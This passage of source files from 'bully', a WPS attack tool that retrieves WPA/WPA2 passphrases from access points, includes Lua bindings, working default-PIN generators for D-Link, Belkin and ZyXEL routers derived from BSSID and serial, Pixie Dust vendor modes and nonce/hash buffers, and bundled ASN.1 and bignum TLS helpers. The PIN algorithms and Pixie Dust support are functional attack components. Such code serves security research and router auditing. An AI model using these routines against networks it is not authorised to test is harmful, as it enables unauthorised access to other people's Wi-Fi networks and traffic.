bmac[3] = imac[0]; bmac[4] = imac[1]; bmac[5] = imac[2];
unsigned int pin = f(bmac, offset);
lua_pushnumber(L, pin);
return 1; /* Number of results */
};
} else if (type == LUA_TTABLE) {
unsigned int len = lua_rawlen(L, index);
if (len == 6 || len == 3) {
uint8_t bmac[6];
for (unsigned int i = 0; i < 3; i++) {
lua_rawgeti(L, index - i, len - 3 + 1 + i);
bmac[3 + i] = (uint8_t) lua_tonumber(L, -1);
};
lua_pop(L, 3);
unsigned int pin = f(bmac, offset);
lua_pushnumber(L, pin);
return 1; /* Number of results */
};
};
} else if (num_args == 2) {
int current = -1;
if (lua_type(L, current) == LUA_TNUMBER) {
index = -2;
} else if (lua_type(L, --current) == LUA_TNUMBER) {
index = -1;
} else {
lua_pushnil(L);
return 1;
};
offset = lua_tonumber(L, current);
goto redo; /* If the code is readable, GOTOs are not a bad practice */
};
lua_pushnil(L); /* Error */
return 1;
};
/* Lua wrapper around 'gen_hex2dec' */
static int l_gen_hex2dec(lua_State *L)
{
#define HEX2DEC_OFFSET 0
return l_gen_wrapper(L, gen_hex2dec, HEX2DEC_OFFSET);
};
/* Lua wrapper around 'gen_zyxel' */
static int l_gen_zyxel(lua_State *L)
{
#define ZYXEL_OFFSET 0
return l_gen_wrapper(L, gen_zyxel, ZYXEL_OFFSET);
};
/* Lua wrapper around 'gen_dlink' */
static int l_gen_dlink(lua_State *L)
{
#define DLINK_OFFSET 1 /* WAN mac is BSSID + 1 */
return l_gen_wrapper(L, gen_dlink, DLINK_OFFSET);
};
/* Lua wrapper around 'gen_belkin' */
static int l_gen_belkin(lua_State *L)
{
unsigned int num_args = lua_gettop(L);
if (num_args == 2) {
int type_first = lua_type(L, -1);
int type_second = lua_type(L, -2);
if (type_second == LUA_TTABLE && type_first == LUA_TSTRING) {
unsigned int len = lua_rawlen(L, -2);
if (len == 6 || len == 3) {
uint8_t bmac[6];
for (unsigned int i = 0; i < 3; i++) {
lua_rawgeti(L, -2 - i, len - 3 + 1 + i);
bmac[3 + i] = (uint8_t) lua_tonumber(L, -1);
};
lua_pop(L, 3);
const char *serial = lua_tostring(L, -1);
unsigned int pin = gen_belkin(bmac, serial);
lua_pushnumber(L, pin);
return 1; /* Number of results */
} else {
goto error; /* Error */
};
} else if (type_second == LUA_TSTRING && type_first == LUA_TTABLE) {
unsigned int len = lua_rawlen(L, -1);
if (len == 6 || len == 3) {
uint8_t bmac[6];
for (unsigned int i = 0; i < 3; i++) {
lua_rawgeti(L, -1 - i, len - 3 + 1 + i);
bmac[3 + i] = (uint8_t) lua_tonumber(L, -1);
};
lua_pop(L, 3);
const char *serial = lua_tostring(L, -2);
unsigned int pin = gen_belkin(bmac, serial);
lua_pushnumber(L, pin);
return 1; /* Number of results */
} else {
goto error; /* Error */
};
} else if (type_second == LUA_TSTRING && type_first == LUA_TSTRING) {
unsigned int len1 = lua_rawlen(L, -1);
unsigned int len2 = lua_rawlen(L, -2);
int idx_bssid;
int idx_serial;
const char *bssid;
const char *serial;
unsigned int bssidlen;
if ((len2 == 6 || len2 == 12) && (len1 != 6 && len1 != 12)) {
idx_bssid = -2;
idx_serial = -1;
} else if ((len1 == 6 || len1 == 12) && (len2 != 6 && len2 != 12)) {
idx_bssid = -1;
idx_serial = -2;
} else { /* If undistinguishable assume first parameter is bssid */
idx_bssid = -2;
idx_serial = -1;
};
serial = lua_tostring(L, idx_serial);
bssidlen = lua_rawlen(L, idx_bssid);
if (bssidlen == 12 || bssidlen == 6) {
const char *bssid = lua_tostring(L, idx_bssid) + (bssidlen - 6);
uint8_t bmac[6]; unsigned int imac[3];
sscanf(bssid, "%02X%02X%02X", &imac[0], &imac[1], &imac[2]);
bmac[3] = imac[0]; bmac[4] = imac[1]; bmac[5] = imac[2];
unsigned int pin = gen_belkin(bmac, serial);
lua_pushnumber(L, pin);
return 1;
};
};
};
error:
lua_pushnil(L);
return 1;
};
/* Exposed functions */
const struct luaL_Reg algo_fn[] = {
{"hex2dec", l_gen_hex2dec},
{"zyxel", l_gen_zyxel },
{"dlink", l_gen_dlink },
{"belkin", l_gen_belkin },
{NULL, NULL}
};
/* Load functions */
int luaopen_algolib(lua_State *L)
{
luaL_newlibtable(L, algo_fn);
luaL_setfuncs(L, algo_fn, 0);
return 1;
};
/* Create a basic Lua environment (omit some libraries) */
lua_State *basic_env() {
lua_State *L = luaL_newstate();
if (L) {
lua_pushcfunction(L, luaopen_base);
lua_pushstring(L, "");
lua_call(L, 1, 0);
lua_pushcfunction(L, luaopen_package);
lua_pushstring(L, LUA_LOADLIBNAME);
lua_call(L, 1, 0);
lua_pushcfunction(L, luaopen_string);
lua_pushstring(L, LUA_LOADLIBNAME);
lua_call(L, 1, 0);
lua_pushcfunction(L, luaopen_table);
lua_pushstring(L, LUA_LOADLIBNAME);
lua_call(L, 1, 0);
lua_pushcfunction(L, luaopen_math);
lua_pushstring(L, LUA_LOADLIBNAME);
lua_call(L, 1, 0);
}
return L;
};
bully-1.4-00/src/luaclib.h 0000664 0000000 0000000 00000001765 13615304636 0015315 0 ustar 00root root 0000000 0000000 /*
bully - retrieve WPA/WPA2 passphrase from a WPS-enabled AP
Copyright (C) 2017 wiire
This program is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation, either version 3 of the License, or
(at your option) any later version.
This program is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU General Public License for more details.
You should have received a copy of the GNU General Public License
along with this program. If not, see .
*/
#include
/* Open WPS-related library */
int luaopen_wpslib(lua_State *L);
/* Open PIN algorithms library */
int luaopen_algolib(lua_State *L);
/* Create a basic Lua environment (omit some libraries) */
lua_State *basic_env();
bully-1.4-00/src/pdust.c 0000664 0000000 0000000 00000003012 13615304636 0015017 0 ustar 00root root 0000000 0000000 /*
bully - retrieve WPA/WPA2 passphrase from a WPS-enabled AP
Copyright (C) 2017 wiire
This program is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation, either version 3 of the License, or
(at your option) any later version.
This program is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU General Public License for more details.
You should have received a copy of the GNU General Public License
along with this program. If not, see .
*/
#include
#include
#include "pdust.h"
char OUI_NULL[OUI_STR_LEN] = "-";
vendor_t vendor_list[] = {
{"\x00\x03\x7f", "AtherosC", PWPS_NONE }, /* Atheros Communications */
{"\x00\x10\x18", "Broadcom", PWPS_ECOS_SIMPLE}, /* Broadcom */
{"\x00\x50\x43", "MarvellS", PWPS_NONE }, /* MARVELL SEMICONDUCTOR, INC */
{"\x00\x0c\x43", "RalinkTe", PWPS_RT }, /* Ralink Technology, Corp. */
{"\x00\xe0\x4c", "RealtekS", PWPS_RTL819x } /* REALTEK SEMICONDUCTOR CORP. */
};
#define VENDOR_LIST_SIZE (sizeof(vendor_list) / sizeof(vendor_list[0]))
char *get_vendor(uint8_t *oui)
{
int i;
for (i = 0; i < VENDOR_LIST_SIZE; i++) {
if (!memcmp(vendor_list[i].oui, oui, 3))
return vendor_list[i].name;
};
return OUI_NULL;
}; bully-1.4-00/src/pdust.h 0000664 0000000 0000000 00000003202 13615304636 0015025 0 ustar 00root root 0000000 0000000 /*
bully - retrieve WPA/WPA2 passphrase from a WPS-enabled AP
Copyright (C) 2017 wiire
This program is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation, either version 3 of the License, or
(at your option) any later version.
This program is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU General Public License for more details.
You should have received a copy of the GNU General Public License
along with this program. If not, see .
*/
#ifndef _PDUST_H
#define _PDUST_H
#include
/* Pixiewps modes */
#define PWPS_NONE 0
#define PWPS_RT 1
#define PWPS_ECOS_SIMPLE 2
#define PWPS_RTL819x 3
#define PWPS_ECOS_SIMPLEST 4
#define PWPS_ECOS_KNUTH 5
#define OUI_STR_LEN 8 + 1
struct vendor_oui {
uint8_t oui[3];
char name[OUI_STR_LEN];
uint8_t pixiewps_mode;
};
typedef struct vendor_oui vendor_t;
extern char OUI_NULL[OUI_STR_LEN];
extern vendor_t vendor_list[];
char *get_vendor(uint8_t *oui);
struct wps_info {
uint8_t vendor[3];
uint8_t vendor_p;
uint8_t version;
uint8_t uuid[16];
uint16_t category;
uint16_t subcategory;
uint16_t passw_id;
uint8_t passw_id_p;
uint16_t config_methods;
char manufacturer[64 + 1];
char device_name[32 + 1];
char model_name[32 + 1];
char model_number[32 + 1];
char serial_number[32 + 1];
};
typedef struct wps_info wps_info_t;
#endif /* _PDUST_H */
bully-1.4-00/src/pingen.c 0000664 0000000 0000000 00000006573 13615304636 0015157 0 ustar 00root root 0000000 0000000 /*
bully - retrieve WPA/WPA2 passphrase from a WPS-enabled AP
Copyright (C) 2017 wiire
This program is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation, either version 3 of the License, or
(at your option) any later version.
This program is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU General Public License for more details.
You should have received a copy of the GNU General Public License
along with this program. If not, see .
*/
/*
References:
* http://www.devttys0.com/2014/10/reversing-d-links-wps-pin-algorithm/
* http://www.devttys0.com/2015/04/reversing-belkins-wps-pin-algorithm/
*/
#include
#include
#include
#include "pingen.h"
unsigned int m_wps_pin_checksum(unsigned int pin)
{
unsigned int div = 0;
while (pin) {
div += 3 * (pin % 10);
pin /= 10;
div += pin % 10;
pin /= 10;
};
return ((10 - div % 10) % 10);
};
unsigned int m_wps_pin_valid(unsigned int pin)
{
return m_wps_pin_checksum(pin / 10) == (pin % 10);
};
unsigned int gen_hex2dec(uint8_t *bssid, const int offset)
{
unsigned int pin = bssid[3] << 16 | bssid[4] << 8 | bssid[5];
pin += offset;
pin = pin % 10000000;
pin = ((pin * 10) + m_wps_pin_checksum(pin));
return pin;
};
unsigned int gen_zyxel(uint8_t *bssid, const int offset)
{
unsigned int pin = bssid[5] << 16 | bssid[4] << 8 | bssid[3];
pin += offset;
pin = pin % 10000000;
pin = ((pin * 10) + m_wps_pin_checksum(pin));
return pin;
};
unsigned int gen_dlink(uint8_t *bssid, const int offset)
{
unsigned int pin = bssid[3] << 16 | bssid[4] << 8 | bssid[5];
pin += offset;
pin = (pin ^ 0x55AA55);
pin = pin ^ (((pin & 0x0F) << 4)
+ ((pin & 0x0F) << 8)
+ ((pin & 0x0F) << 12)
+ ((pin & 0x0F) << 16)
+ ((pin & 0x0F) << 20));
pin = pin % 10000000;
if (pin < 1000000) pin += ((pin % 9) * 1000000) + 1000000;
pin = ((pin * 10) + m_wps_pin_checksum(pin));
return pin;
};
/* Used in the Belkin code to convert an ASCII character to an integer */
static int char2int(const char c)
{
char buf[2] = { 0 };
buf[0] = c;
return strtol(buf, NULL, 16);
};
unsigned int gen_belkin(uint8_t *bssid, const char *serial)
{
int sn[4], nic[4];
int k1, k2, pin;
int p1, p2, p3;
int t1, t2;
int serial_len = strlen(serial);
sn[0] = char2int(serial[serial_len - 1]);
sn[1] = char2int(serial[serial_len - 2]);
sn[2] = char2int(serial[serial_len - 3]);
sn[3] = char2int(serial[serial_len - 4]);
nic[0] = bssid[5] & 0x0F;
nic[1] = (bssid[5] & 0xF0) >> 4;
nic[2] = bssid[4] & 0x0F;
nic[3] = (bssid[4] & 0xF0) >> 4;
k1 = (sn[2] + sn[3] + nic[0] + nic[1]) % 16;
k2 = (sn[0] + sn[1] + nic[3] + nic[2]) % 16;
pin = k1 ^ sn[1];
t1 = k1 ^ sn[0];
t2 = k2 ^ nic[1];
p1 = nic[0] ^ sn[1] ^ t1;
p2 = k2 ^ nic[0] ^ t2;
p3 = k1 ^ sn[2] ^ k2 ^ nic[2];
k1 = k1 ^ k2;
pin = (pin ^ k1) * 16;
pin = (pin + t1) * 16;
pin = (pin + p1) * 16;
pin = (pin + t2) * 16;
pin = (pin + p2) * 16;
pin = (pin + k1) * 16;
pin += p3;
pin = (pin % 10000000) - (((pin % 10000000) / 10000000) * k1);
return (pin * 10) + m_wps_pin_checksum(pin);
};
bully-1.4-00/src/pingen.h 0000664 0000000 0000000 00000002355 13615304636 0015156 0 ustar 00root root 0000000 0000000 /*
bully - retrieve WPA/WPA2 passphrase from a WPS-enabled AP
Copyright (C) 2017 wiire
This program is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation, either version 3 of the License, or
(at your option) any later version.
This program is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU General Public License for more details.
You should have received a copy of the GNU General Public License
along with this program. If not, see .
*/
#ifndef _PINGEN_H
#define _PINGEN_H
#include
unsigned int gen_hex2dec(uint8_t *bssid, const int offset);
unsigned int gen_zyxel(uint8_t *bssid, const int offset);
unsigned int gen_dlink(uint8_t *bssid, const int offset);
unsigned int gen_belkin(uint8_t *bssid, const char *serial);
/* Included to avoid possible linking issues with main project */
unsigned int m_wps_pin_checksum(unsigned int pin);
unsigned int m_wps_pin_valid(unsigned int pin);
#endif /* _PINGEN_H */
bully-1.4-00/src/pixie.h 0000664 0000000 0000000 00000000645 13615304636 0015014 0 ustar 00root root 0000000 0000000 //fixed size
char pixie_pke[1000]; /* save pke */
char pixie_pkr[1000]; /* save pkr */
char pixie_enonce[100]; /* save e-nonce */
char pixie_rnonce[100]; /* save r-nonce */
char pixie_authkey[100]; /* save AuthKey */
char pixie_ehash1[100]; /* save e-hash1 */
char pixie_ehash2[100]; /* save e-hash2 */
char p_iface[20];
char p_bssid[256];
int run_pixiewps;
int op_gen_pin;
int debug_level;
bully-1.4-00/src/timer.c 0000775 0000000 0000000 00000003006 13615304636 0015006 0 ustar 00root root 0000000 0000000 /*
bully - retrieve WPA/WPA2 passphrase from a WPS-enabled AP
Copyright (C) 2012 Brian Purcell
This program is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation, either version 3 of the License, or
(at your option) any later version.
This program is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU General Public License for more details.
You should have received a copy of the GNU General Public License
along with this program. If not, see .
*/
static inline void set_timer(struct timeval *tv, int ms_from_now)
{
gettimeofday(tv, 0);
tv->tv_sec += ms_from_now/1000;
ms_from_now -= (ms_from_now/1000)*1000;
tv->tv_usec += ms_from_now*1000;
};
static inline int check_timer(struct timeval *tv)
{
struct timeval now;
gettimeofday(&now, 0);
if (tv->tv_sec < now.tv_sec)
return TRUE;
if (tv->tv_sec == now.tv_sec && tv->tv_usec < now.tv_usec)
return TRUE;
return FALSE;
};
static inline int elapsed(struct timeval *then)
{
struct timeval now;
gettimeofday(&now, 0);
if (now.tv_usec < then->tv_usec)
return ((now.tv_sec - 1) - then->tv_sec)*1000 + (now.tv_usec+1000000 - then->tv_usec)/1000;
else
return (now.tv_sec - then->tv_sec)*1000 + (now.tv_usec - then->tv_usec)/1000;
};
bully-1.4-00/src/tls/ 0000775 0000000 0000000 00000000000 13615304636 0014322 5 ustar 00root root 0000000 0000000 bully-1.4-00/src/tls/.gitignore 0000664 0000000 0000000 00000000011 13615304636 0016302 0 ustar 00root root 0000000 0000000 libtls.a
bully-1.4-00/src/tls/Makefile 0000775 0000000 0000000 00000001010 13615304636 0015755 0 ustar 00root root 0000000 0000000 all: libtls.a
clean:
rm -f *~ *.o *.d libtls.a
install:
@echo Nothing to be made.
include ../lib.rules
CFLAGS += -DCONFIG_INTERNAL_LIBTOMMATH
CFLAGS += -DCONFIG_CRYPTO_INTERNAL
LIB_OBJS= \
asn1.o \
bignum.o \
pkcs1.o \
pkcs5.o \
pkcs8.o \
rsa.o \
tlsv1_client.o \
tlsv1_client_read.o \
tlsv1_client_write.o \
tlsv1_common.o \
tlsv1_cred.o \
tlsv1_record.o \
tlsv1_server.o \
tlsv1_server_read.o \
tlsv1_server_write.o \
x509v3.o
libtls.a: $(LIB_OBJS)
$(AR) crT $@ $?
-include $(OBJS:%.o=%.d)
bully-1.4-00/src/tls/asn1.c 0000775 0000000 0000000 00000010314 13615304636 0015332 0 ustar 00root root 0000000 0000000 /*
* ASN.1 DER parsing
* Copyright (c) 2006, Jouni Malinen
*
* This program is free software; you can redistribute it and/or modify
* it under the terms of the GNU General Public License version 2 as
* published by the Free Software Foundation.
*
* Alternatively, this software may be distributed under the terms of BSD
* license.
*
* See README and COPYING for more details.
*/
#include "includes.h"
#include "common.h"
#include "asn1.h"
int asn1_get_next(const u8 *buf, size_t len, struct asn1_hdr *hdr)
{
const u8 *pos, *end;
u8 tmp;
os_memset(hdr, 0, sizeof(*hdr));
pos = buf;
end = buf + len;
hdr->identifier = *pos++;
hdr->class = hdr->identifier >> 6;
hdr->constructed = !!(hdr->identifier & (1 << 5));
if ((hdr->identifier & 0x1f) == 0x1f) {
hdr->tag = 0;
do {
if (pos >= end) {
wpa_printf(MSG_DEBUG, "ASN.1: Identifier "
"underflow");
return -1;
}
tmp = *pos++;
wpa_printf(MSG_MSGDUMP, "ASN.1: Extended tag data: "
"0x%02x", tmp);
hdr->tag = (hdr->tag << 7) | (tmp & 0x7f);
} while (tmp & 0x80);
} else
hdr->tag = hdr->identifier & 0x1f;
tmp = *pos++;
if (tmp & 0x80) {
if (tmp == 0xff) {
wpa_printf(MSG_DEBUG, "ASN.1: Reserved length "
"value 0xff used");
return -1;
}
tmp &= 0x7f; /* number of subsequent octets */
hdr->length = 0;
if (tmp > 4) {
wpa_printf(MSG_DEBUG, "ASN.1: Too long length field");
return -1;
}
while (tmp--) {
if (pos >= end) {
wpa_printf(MSG_DEBUG, "ASN.1: Length "
"underflow");
return -1;
}
hdr->length = (hdr->length << 8) | *pos++;
}
} else {
/* Short form - length 0..127 in one octet */
hdr->length = tmp;
}
if (end < pos || hdr->length > (unsigned int) (end - pos)) {
wpa_printf(MSG_DEBUG, "ASN.1: Contents underflow");
return -1;
}
hdr->payload = pos;
return 0;
}
int asn1_parse_oid(const u8 *buf, size_t len, struct asn1_oid *oid)
{
const u8 *pos, *end;
unsigned long val;
u8 tmp;
os_memset(oid, 0, sizeof(*oid));
pos = buf;
end = buf + len;
while (pos < end) {
val = 0;
do {
if (pos >= end)
return -1;
tmp = *pos++;
val = (val << 7) | (tmp & 0x7f);
} while (tmp & 0x80);
if (oid->len >= ASN1_MAX_OID_LEN) {
wpa_printf(MSG_DEBUG, "ASN.1: Too long OID value");
return -1;
}
if (oid->len == 0) {
/*
* The first octet encodes the first two object
* identifier components in (X*40) + Y formula.
* X = 0..2.
*/
oid->oid[0] = val / 40;
if (oid->oid[0] > 2)
oid->oid[0] = 2;
oid->oid[1] = val - oid->oid[0] * 40;
oid->len = 2;
} else
oid->oid[oid->len++] = val;
}
return 0;
}
int asn1_get_oid(const u8 *buf, size_t len, struct asn1_oid *oid,
const u8 **next)
{
struct asn1_hdr hdr;
if (asn1_get_next(buf, len, &hdr) < 0 || hdr.length == 0)
return -1;
if (hdr.class != ASN1_CLASS_UNIVERSAL || hdr.tag != ASN1_TAG_OID) {
wpa_printf(MSG_DEBUG, "ASN.1: Expected OID - found class %d "
"tag 0x%x", hdr.class, hdr.tag);
return -1;
}
*next = hdr.payload + hdr.length;
return asn1_parse_oid(hdr.payload, hdr.length, oid);
}
void asn1_oid_to_str(struct asn1_oid *oid, char *buf, size_t len)
{
char *pos = buf;
size_t i;
int ret;
if (len == 0)
return;
buf[0] = '\0';
for (i = 0; i < oid->len; i++) {
ret = os_snprintf(pos, buf + len - pos,
"%s%lu",
i == 0 ? "" : ".", oid->oid[i]);
if (ret < 0 || ret >= buf + len - pos)
break;
pos += ret;
}
buf[len - 1] = '\0';
}
static u8 rotate_bits(u8 octet)
{
int i;
u8 res;
res = 0;
for (i = 0; i < 8; i++) {
res <<= 1;
if (octet & 1)
res |= 1;
octet >>= 1;
}
return res;
}
unsigned long asn1_bit_string_to_long(const u8 *buf, size_t len)
{
unsigned long val = 0;
const u8 *pos = buf;
/* BER requires that unused bits are zero, so we can ignore the number
* of unused bits */
pos++;
if (len >= 2)
val |= rotate_bits(*pos++);
if (len >= 3)
val |= ((unsigned long) rotate_bits(*pos++)) << 8;
if (len >= 4)
val |= ((unsigned long) rotate_bits(*pos++)) << 16;
if (len >= 5)
val |= ((unsigned long) rotate_bits(*pos++)) << 24;
if (len >= 6)
wpa_printf(MSG_DEBUG, "X509: %s - some bits ignored "
"(BIT STRING length %lu)",
__func__, (unsigned long) len);
return val;
}
bully-1.4-00/src/tls/asn1.h 0000775 0000000 0000000 00000004476 13615304636 0015353 0 ustar 00root root 0000000 0000000 /*
* ASN.1 DER parsing
* Copyright (c) 2006, Jouni Malinen
*
* This program is free software; you can redistribute it and/or modify
* it under the terms of the GNU General Public License version 2 as
* published by the Free Software Foundation.
*
* Alternatively, this software may be distributed under the terms of BSD
* license.
*
* See README and COPYING for more details.
*/
#ifndef ASN1_H
#define ASN1_H
#define ASN1_TAG_EOC 0x00 /* not used with DER */
#define ASN1_TAG_BOOLEAN 0x01
#define ASN1_TAG_INTEGER 0x02
#define ASN1_TAG_BITSTRING 0x03
#define ASN1_TAG_OCTETSTRING 0x04
#define ASN1_TAG_NULL 0x05
#define ASN1_TAG_OID 0x06
#define ASN1_TAG_OBJECT_DESCRIPTOR 0x07 /* not yet parsed */
#define ASN1_TAG_EXTERNAL 0x08 /* not yet parsed */
#define ASN1_TAG_REAL 0x09 /* not yet parsed */
#define ASN1_TAG_ENUMERATED 0x0A /* not yet parsed */
#define ASN1_TAG_UTF8STRING 0x0C /* not yet parsed */
#define ANS1_TAG_RELATIVE_OID 0x0D
#define ASN1_TAG_SEQUENCE 0x10 /* shall be constructed */
#define ASN1_TAG_SET 0x11
#define ASN1_TAG_NUMERICSTRING 0x12 /* not yet parsed */
#define ASN1_TAG_PRINTABLESTRING 0x13
#define ASN1_TAG_TG1STRING 0x14 /* not yet parsed */
#define ASN1_TAG_VIDEOTEXSTRING 0x15 /* not yet parsed */
#define ASN1_TAG_IA5STRING 0x16
#define ASN1_TAG_UTCTIME 0x17
#define ASN1_TAG_GENERALIZEDTIME 0x18 /* not yet parsed */
#define ASN1_TAG_GRAPHICSTRING 0x19 /* not yet parsed */
#define ASN1_TAG_VISIBLESTRING 0x1A
#define ASN1_TAG_GENERALSTRING 0x1B /* not yet parsed */
#define ASN1_TAG_UNIVERSALSTRING 0x1C /* not yet parsed */
#define ASN1_TAG_BMPSTRING 0x1D /* not yet parsed */
#define ASN1_CLASS_UNIVERSAL 0
#define ASN1_CLASS_APPLICATION 1
#define ASN1_CLASS_CONTEXT_SPECIFIC 2
#define ASN1_CLASS_PRIVATE 3
struct asn1_hdr {
const u8 *payload;
u8 identifier, class, constructed;
unsigned int tag, length;
};
#define ASN1_MAX_OID_LEN 20
struct asn1_oid {
unsigned long oid[ASN1_MAX_OID_LEN];
size_t len;
};
int asn1_get_next(const u8 *buf, size_t len, struct asn1_hdr *hdr);
int asn1_parse_oid(const u8 *buf, size_t len, struct asn1_oid *oid);
int asn1_get_oid(const u8 *buf, size_t len, struct asn1_oid *oid,
const u8 **next);
void asn1_oid_to_str(struct asn1_oid *oid, char *buf, size_t len);
unsigned long asn1_bit_string_to_long(const u8 *buf, size_t len);
#endif /* ASN1_H */
bully-1.4-00/src/tls/bignum.c 0000775 0000000 0000000 00000013107 13615304636 0015754 0 ustar 00root root 0000000 0000000 /*
* Big number math
* Copyright (c) 2006, Jouni Malinen
*
* This program is free software; you can redistribute it and/or modify
* it under the terms of the GNU General Public License version 2 as
* published by the Free Software Foundation.
*
* Alternatively, this software may be distributed under the terms of BSD
* license.
*
* See README and COPYING for more details.
*/
#include "includes.h"
#include "common.h"
#include "bignum.h"
#ifdef CONFIG_INTERNAL_LIBTOMMATH
#include "libtommath.c"
#else /* CONFIG_INTERNAL_LIBTOMMATH */
#include
#endif /* CONFIG_INTERNAL_LIBTOMMATH */
/*
* The current version is just a wrapper for LibTomMath library, so
* struct bignum is just typecast to mp_int.
*/
/**
* bignum_init - Allocate memory for bignum
* Returns: Pointer to allocated bignum or %NULL on failure
*/
struct bignum * bignum_init(void)
{
struct bignum *n = os_zalloc(sizeof(mp_int));
if (n == NULL)
return NULL;
if (mp_init((mp_int *) n) != MP_OKAY) {
os_free(n);
n = NULL;
}
return n;
}
/**
* bignum_deinit - Free bignum
* @n: Bignum from bignum_init()
*/
void bignum_deinit(struct bignum *n)
{
if (n) {
mp_clear((mp_int *) n);
os_free(n);
}
}
/**
* bignum_get_unsigned_bin - Get length of bignum as an unsigned binary buffer
* @n: Bignum from bignum_init()
* Returns: Length of n if written to a binary buffer
*/
size_t bignum_get_unsigned_bin_len(struct bignum *n)
{
return mp_unsigned_bin_size((mp_int *) n);
}
/**
* bignum_get_unsigned_bin - Set binary buffer to unsigned bignum
* @n: Bignum from bignum_init()
* @buf: Buffer for the binary number
* @len: Length of the buffer, can be %NULL if buffer is known to be long
* enough. Set to used buffer length on success if not %NULL.
* Returns: 0 on success, -1 on failure
*/
int bignum_get_unsigned_bin(const struct bignum *n, u8 *buf, size_t *len)
{
size_t need = mp_unsigned_bin_size((mp_int *) n);
if (len && need > *len) {
*len = need;
return -1;
}
if (mp_to_unsigned_bin((mp_int *) n, buf) != MP_OKAY) {
wpa_printf(MSG_DEBUG, "BIGNUM: %s failed", __func__);
return -1;
}
if (len)
*len = need;
return 0;
}
/**
* bignum_set_unsigned_bin - Set bignum based on unsigned binary buffer
* @n: Bignum from bignum_init(); to be set to the given value
* @buf: Buffer with unsigned binary value
* @len: Length of buf in octets
* Returns: 0 on success, -1 on failure
*/
int bignum_set_unsigned_bin(struct bignum *n, const u8 *buf, size_t len)
{
if (mp_read_unsigned_bin((mp_int *) n, (u8 *) buf, len) != MP_OKAY) {
wpa_printf(MSG_DEBUG, "BIGNUM: %s failed", __func__);
return -1;
}
return 0;
}
/**
* bignum_cmp - Signed comparison
* @a: Bignum from bignum_init()
* @b: Bignum from bignum_init()
* Returns: 0 on success, -1 on failure
*/
int bignum_cmp(const struct bignum *a, const struct bignum *b)
{
return mp_cmp((mp_int *) a, (mp_int *) b);
}
/**
* bignum_cmd_d - Compare bignum to standard integer
* @a: Bignum from bignum_init()
* @b: Small integer
* Returns: 0 on success, -1 on failure
*/
int bignum_cmp_d(const struct bignum *a, unsigned long b)
{
return mp_cmp_d((mp_int *) a, b);
}
/**
* bignum_add - c = a + b
* @a: Bignum from bignum_init()
* @b: Bignum from bignum_init()
* @c: Bignum from bignum_init(); used to store the result of a + b
* Returns: 0 on success, -1 on failure
*/
int bignum_add(const struct bignum *a, const struct bignum *b,
struct bignum *c)
{
if (mp_add((mp_int *) a, (mp_int *) b, (mp_int *) c) != MP_OKAY) {
wpa_printf(MSG_DEBUG, "BIGNUM: %s failed", __func__);
return -1;
}
return 0;
}
/**
* bignum_sub - c = a - b
* @a: Bignum from bignum_init()
* @b: Bignum from bignum_init()
* @c: Bignum from bignum_init(); used to store the result of a - b
* Returns: 0 on success, -1 on failure
*/
int bignum_sub(const struct bignum *a, const struct bignum *b,
struct bignum *c)
{
if (mp_sub((mp_int *) a, (mp_int *) b, (mp_int *) c) != MP_OKAY) {
wpa_printf(MSG_DEBUG, "BIGNUM: %s failed", __func__);
return -1;
}
return 0;
}
/**
* bignum_mul - c = a * b
* @a: Bignum from bignum_init()
* @b: Bignum from bignum_init()
* @c: Bignum from bignum_init(); used to store the result of a * b
* Returns: 0 on success, -1 on failure
*/
int bignum_mul(const struct bignum *a, const struct bignum *b,
struct bignum *c)
{
if (mp_mul((mp_int *) a, (mp_int *) b, (mp_int *) c) != MP_OKAY) {
wpa_printf(MSG_DEBUG, "BIGNUM: %s failed", __func__);
return -1;
}
return 0;
}
/**
* bignum_mulmod - d = a * b (mod c)
* @a: Bignum from bignum_init()
* @b: Bignum from bignum_init()
* @c: Bignum from bignum_init(); modulus
* @d: Bignum from bignum_init(); used to store the result of a * b (mod c)
* Returns: 0 on success, -1 on failure
*/
int bignum_mulmod(const struct bignum *a, const struct bignum *b,
const struct bignum *c, struct bignum *d)
{
if (mp_mulmod((mp_int *) a, (mp_int *) b, (mp_int *) c, (mp_int *) d)
!= MP_OKAY) {
wpa_printf(MSG_DEBUG, "BIGNUM: %s failed", __func__);
return -1;
}
return 0;
}
/**
* bignum_exptmod - Modular exponentiation: d = a^b (mod c)
* @a: Bignum from bignum_init(); base
* @b: Bignum from bignum_init(); exponent
* @c: Bignum from bignum_init(); modulus
* @d: Bignum from bignum_init(); used to store the result of a^b (mod c)
* Returns: 0 on success, -1 on failure
*/
int bignum_exptmod(const struct bignum *a, const struct bignum *b,
const struct bignum *c, struct bignum *d)
{
if (mp_exptmod((mp_int *) a, (mp_int *) b, (mp_int *) c, (mp_int *) d)
!= MP_OKAY) {
wpa_printf(MSG_DEBUG, "BIGNUM: %s failed", __func__);
return -1;
}
return 0;
}
bully-1.4-00/src/tls/bignum.h 0000775 0000000 0000000 00000002533 13615304636 0015762 0 ustar 00root root 0000000 0000000 /*
* Big number math
* Copyright (c) 2006, Jouni Malinen
*
* This program is free software; you can redistribute it and/or modify
* it under the terms of the GNU General Public License version 2 as
* published by the Free Software Foundation.
*
* Alternatively, this software may be distributed under the terms of BSD
* license.
*
* See README and COPYING for more details.
*/
#ifndef BIGNUM_H
